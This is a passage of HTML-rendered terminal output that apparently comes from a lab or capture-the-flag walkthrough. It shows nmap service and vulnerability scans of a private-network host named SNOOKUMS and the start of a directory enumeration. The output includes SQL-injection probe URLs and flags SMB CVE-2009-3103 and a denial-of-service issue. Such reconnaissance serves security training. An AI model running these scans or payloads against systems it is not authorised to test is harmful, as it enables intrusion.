&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 32&lt;/span&gt;&lt;span class="cl"&gt;Service Info: Host: SNOOKUMS&lt;span class="p"&gt;;&lt;/span&gt; OS: Unix
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 33&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 34&lt;/span&gt;&lt;span class="cl"&gt;Host script results:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 35&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;_smb2-time: Protocol negotiation failed &lt;span class="o"&gt;(&lt;/span&gt;SMB2&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 36&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 37&lt;/span&gt;&lt;span class="cl"&gt;OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 38&lt;/span&gt;&lt;span class="cl"&gt;Nmap &lt;span class="k"&gt;done&lt;/span&gt;: &lt;span class="m"&gt;1&lt;/span&gt; IP address &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt; host up&lt;span class="o"&gt;)&lt;/span&gt; scanned in 89.62 seconds
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 39&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 40&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 41&lt;/span&gt;&lt;span class="cl"&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;kali㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-&lt;span class="o"&gt;[&lt;/span&gt;~/Desktop&lt;span class="o"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 42&lt;/span&gt;&lt;span class="cl"&gt;└─$ sudo nmap --script&lt;span class="o"&gt;=&lt;/span&gt;vuln -p&lt;span class="nv"&gt;$ports&lt;/span&gt; -Pn 192.168.236.58
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 43&lt;/span&gt;&lt;span class="cl"&gt;Starting Nmap 7.95 &lt;span class="o"&gt;(&lt;/span&gt; https://nmap.org &lt;span class="o"&gt;)&lt;/span&gt; at 2025-08-19 23:06 EDT
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 44&lt;/span&gt;&lt;span class="cl"&gt;Nmap scan report &lt;span class="k"&gt;for&lt;/span&gt; 192.168.236.58
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 45&lt;/span&gt;&lt;span class="cl"&gt;Host is up &lt;span class="o"&gt;(&lt;/span&gt;1.5s latency&lt;span class="o"&gt;)&lt;/span&gt;.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 46&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 47&lt;/span&gt;&lt;span class="cl"&gt;PORT STATE SERVICE
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 48&lt;/span&gt;&lt;span class="cl"&gt;21/tcp open ftp
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 49&lt;/span&gt;&lt;span class="cl"&gt;22/tcp open ssh
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 50&lt;/span&gt;&lt;span class="cl"&gt;80/tcp open http
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 51&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; http-internal-ip-disclosure:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 52&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;_ Internal IP Leaked: 127.0.0.1
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 53&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;_http-stored-xss: Couldn&lt;span class="s1"&gt;&amp;#39;t find any stored XSS vulnerabilities.&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 54&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; http-sql-injection:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 55&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; Possible sqli &lt;span class="k"&gt;for&lt;/span&gt; queries:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 56&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; http://192.168.236.58:80/js/?C&lt;span class="o"&gt;=&lt;/span&gt;S%3BO%3DA%27%20OR%20sqlspider
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 57&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; http://192.168.236.58:80/js/?C&lt;span class="o"&gt;=&lt;/span&gt;D%3BO%3DA%27%20OR%20sqlspider
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 58&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; http://192.168.236.58:80/js/?C&lt;span class="o"&gt;=&lt;/span&gt;M%3BO%3DA%27%20OR%20sqlspider
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 59&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; http://192.168.236.58:80/js/?C&lt;span class="o"&gt;=&lt;/span&gt;N%3BO%3DD%27%20OR%20sqlspider
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 60&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; http://192.168.236.58:80/js/?C&lt;span class="o"&gt;=&lt;/span&gt;N%3BO%3DA%27%20OR%20sqlspider
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 61&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; http://192.168.236.58:80/js/?C&lt;span class="o"&gt;=&lt;/span&gt;S%3BO%3DD%27%20OR%20sqlspider
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 62&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; http://192.168.236.58:80/js/?C&lt;span class="o"&gt;=&lt;/span&gt;M%3BO%3DA%27%20OR%20sqlspider
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 63&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; http://192.168.236.58:80/js/?C&lt;span class="o"&gt;=&lt;/span&gt;D%3BO%3DA%27%20OR%20sqlspider
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 64&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; http://192.168.236.58:80/js/?C&lt;span class="o"&gt;=&lt;/span&gt;N%3BO%3DA%27%20OR%20sqlspider
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 65&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; http://192.168.236.58:80/js/?C&lt;span class="o"&gt;=&lt;/span&gt;D%3BO%3DD%27%20OR%20sqlspider
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 66&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; http://192.168.236.58:80/js/?C&lt;span class="o"&gt;=&lt;/span&gt;M%3BO%3DA%27%20OR%20sqlspider
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 67&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; http://192.168.236.58:80/js/?C&lt;span class="o"&gt;=&lt;/span&gt;S%3BO%3DA%27%20OR%20sqlspider
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 68&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; http://192.168.236.58:80/js/?C&lt;span class="o"&gt;=&lt;/span&gt;N%3BO%3DA%27%20OR%20sqlspider
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 69&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; http://192.168.236.58:80/js/?C&lt;span class="o"&gt;=&lt;/span&gt;D%3BO%3DA%27%20OR%20sqlspider
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 70&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; http://192.168.236.58:80/js/?C&lt;span class="o"&gt;=&lt;/span&gt;M%3BO%3DD%27%20OR%20sqlspider
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 71&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; http://192.168.236.58:80/js/?C&lt;span class="o"&gt;=&lt;/span&gt;S%3BO%3DA%27%20OR%20sqlspider
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 72&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; http://192.168.236.58:80/js/?C&lt;span class="o"&gt;=&lt;/span&gt;N%3BO%3DA%27%20OR%20sqlspider
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 73&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; http://192.168.236.58:80/js/?C&lt;span class="o"&gt;=&lt;/span&gt;S%3BO%3DA%27%20OR%20sqlspider
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 74&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; http://192.168.236.58:80/js/?C&lt;span class="o"&gt;=&lt;/span&gt;M%3BO%3DA%27%20OR%20sqlspider
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 75&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; http://192.168.236.58:80/js/?C&lt;span class="o"&gt;=&lt;/span&gt;D%3BO%3DA%27%20OR%20sqlspider
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 76&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; http://192.168.236.58:80/js/?C&lt;span class="o"&gt;=&lt;/span&gt;S%3BO%3DA%27%20OR%20sqlspider
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 77&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; http://192.168.236.58:80/js/?C&lt;span class="o"&gt;=&lt;/span&gt;D%3BO%3DA%27%20OR%20sqlspider
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 78&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; http://192.168.236.58:80/js/?C&lt;span class="o"&gt;=&lt;/span&gt;M%3BO%3DA%27%20OR%20sqlspider
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 79&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; http://192.168.236.58:80/js/?C&lt;span class="o"&gt;=&lt;/span&gt;N%3BO%3DD%27%20OR%20sqlspider
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 80&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; http://192.168.236.58:80/js/?C&lt;span class="o"&gt;=&lt;/span&gt;N%3BO%3DA%27%20OR%20sqlspider
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 81&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; http://192.168.236.58:80/js/?C&lt;span class="o"&gt;=&lt;/span&gt;D%3BO%3DA%27%20OR%20sqlspider
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 82&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; http://192.168.236.58:80/js/?C&lt;span class="o"&gt;=&lt;/span&gt;S%3BO%3DA%27%20OR%20sqlspider
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 83&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; http://192.168.236.58:80/js/?C&lt;span class="o"&gt;=&lt;/span&gt;M%3BO%3DA%27%20OR%20sqlspider
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 84&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; http://192.168.236.58:80/js/?C&lt;span class="o"&gt;=&lt;/span&gt;N%3BO%3DA%27%20OR%20sqlspider
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 85&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; http://192.168.236.58:80/js/?C&lt;span class="o"&gt;=&lt;/span&gt;S%3BO%3DA%27%20OR%20sqlspider
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 86&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; http://192.168.236.58:80/js/?C&lt;span class="o"&gt;=&lt;/span&gt;M%3BO%3DA%27%20OR%20sqlspider
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 87&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; http://192.168.236.58:80/js/?C&lt;span class="o"&gt;=&lt;/span&gt;D%3BO%3DA%27%20OR%20sqlspider
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 88&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; http://192.168.236.58:80/js/?C&lt;span class="o"&gt;=&lt;/span&gt;N%3BO%3DA%27%20OR%20sqlspider
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 89&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; http://192.168.236.58:80/js/?C&lt;span class="o"&gt;=&lt;/span&gt;S%3BO%3DA%27%20OR%20sqlspider
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 90&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; http://192.168.236.58:80/js/?C&lt;span class="o"&gt;=&lt;/span&gt;M%3BO%3DA%27%20OR%20sqlspider
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 91&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;_ http://192.168.236.58:80/js/?C&lt;span class="o"&gt;=&lt;/span&gt;D%3BO%3DA%27%20OR%20sqlspider
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 92&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;_http-vuln-cve2017-1001000: ERROR: Script execution failed &lt;span class="o"&gt;(&lt;/span&gt;use -d to debug&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 93&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; http-enum:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 94&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; /README.txt: Interesting, a readme.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 95&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; /css/: Potentially interesting folder w/ directory listing
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 96&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; /icons/: Potentially interesting folder w/ directory listing
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 97&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; /images/: Potentially interesting folder w/ directory listing
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 98&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;_ /js/: Potentially interesting folder w/ directory listing
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 99&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;_http-csrf: Couldn&lt;span class="s1"&gt;&amp;#39;t find any CSRF vulnerabilities.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;100&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt;|_http-trace: TRACE is enabled
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;101&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt;|_http-dombased-xss: Couldn&amp;#39;&lt;/span&gt;t find any DOM based XSS.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;102&lt;/span&gt;&lt;span class="cl"&gt;111/tcp open rpcbind
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;103&lt;/span&gt;&lt;span class="cl"&gt;139/tcp open netbios-ssn
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;104&lt;/span&gt;&lt;span class="cl"&gt;445/tcp open microsoft-ds
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;105&lt;/span&gt;&lt;span class="cl"&gt;3306/tcp open mysql
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;106&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;107&lt;/span&gt;&lt;span class="cl"&gt;Host script results:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;108&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; smb-vuln-regsvc-dos:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;109&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; VULNERABLE:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;110&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; Service regsvc in Microsoft Windows systems vulnerable to denial of service
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;111&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; State: VULNERABLE
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;112&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; The service regsvc in Microsoft Windows &lt;span class="m"&gt;2000&lt;/span&gt; systems is vulnerable to denial of service caused by a null deference
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;113&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; pointer. This script will crash the service &lt;span class="k"&gt;if&lt;/span&gt; it is vulnerable. This vulnerability was discovered by Ron Bowes
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;114&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; &lt;span class="k"&gt;while&lt;/span&gt; working on smb-enum-sessions.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;115&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;_
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;116&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;_smb-vuln-ms10-054: &lt;span class="nb"&gt;false&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;117&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;_smb-vuln-ms10-061: &lt;span class="nb"&gt;false&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;118&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; smb-vuln-cve2009-3103:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;119&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; VULNERABLE:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;120&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; SMBv2 exploit &lt;span class="o"&gt;(&lt;/span&gt;CVE-2009-3103, Microsoft Security Advisory 975497&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;121&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; State: VULNERABLE
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;122&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; IDs: CVE:CVE-2009-3103
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;123&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; Array index error in the SMBv2 protocol implementation in srv2.sys in Microsoft Windows Vista Gold, SP1, and SP2,
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;124&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; Windows Server &lt;span class="m"&gt;2008&lt;/span&gt; Gold and SP2, and Windows &lt;span class="m"&gt;7&lt;/span&gt; RC allows remote attackers to execute arbitrary code or cause a
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;125&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; denial of service &lt;span class="o"&gt;(&lt;/span&gt;system crash&lt;span class="o"&gt;)&lt;/span&gt; via an &lt;span class="p"&gt;&amp;amp;&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;ampersand&lt;span class="o"&gt;)&lt;/span&gt; character in a Process ID High header field in a NEGOTIATE
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;126&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; PROTOCOL REQUEST packet, which triggers an attempted dereference of an out-of-bounds memory location,
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;127&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; aka &lt;span class="s2"&gt;&amp;#34;SMBv2 Negotiation Vulnerability.&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;128&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;129&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; Disclosure date: 2009-09-08
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;130&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; References:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;131&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; https://cve.mitre.org/cgi-bin/cvename.cgi?name&lt;span class="o"&gt;=&lt;/span&gt;CVE-2009-3103
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;132&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;_ http://www.cve.mitre.org/cgi-bin/cvename.cgi?name&lt;span class="o"&gt;=&lt;/span&gt;CVE-2009-3103
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;133&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;134&lt;/span&gt;&lt;span class="cl"&gt;Nmap &lt;span class="k"&gt;done&lt;/span&gt;: &lt;span class="m"&gt;1&lt;/span&gt; IP address &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt; host up&lt;span class="o"&gt;)&lt;/span&gt; scanned in 266.35 seconds
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;135&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;136&lt;/span&gt;&lt;span class="cl"&gt;http://192.168.236.58/index.php &lt;span class="o"&gt;(&lt;/span&gt;Status: 200&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;Size: 2730&lt;span class="o"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;137&lt;/span&gt;&lt;span class="cl"&gt;http://192.168.236.58/images &lt;span class="o"&gt;(&lt;/span&gt;Status: 301&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;Size: 237&lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;--&amp;gt; http://192.168.236.58/images/&lt;span class="o"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;138&lt;/span&gt;&lt;span class="cl"&gt;http://192.168.236.58/image.php &lt;span class="o"&gt;(&lt;/span&gt;Status: 200&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;Size: 1508&lt;span class="o"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;139&lt;/span&gt;&lt;span class="cl"&gt;http://192.168.236.58/photos &lt;span class="o"&gt;(&lt;/span&gt;Status: 301&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;Size: 237&lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;--&amp;gt; http://192.168.236.58/photos/&lt;span class="o"&gt;]&lt;/span&gt;
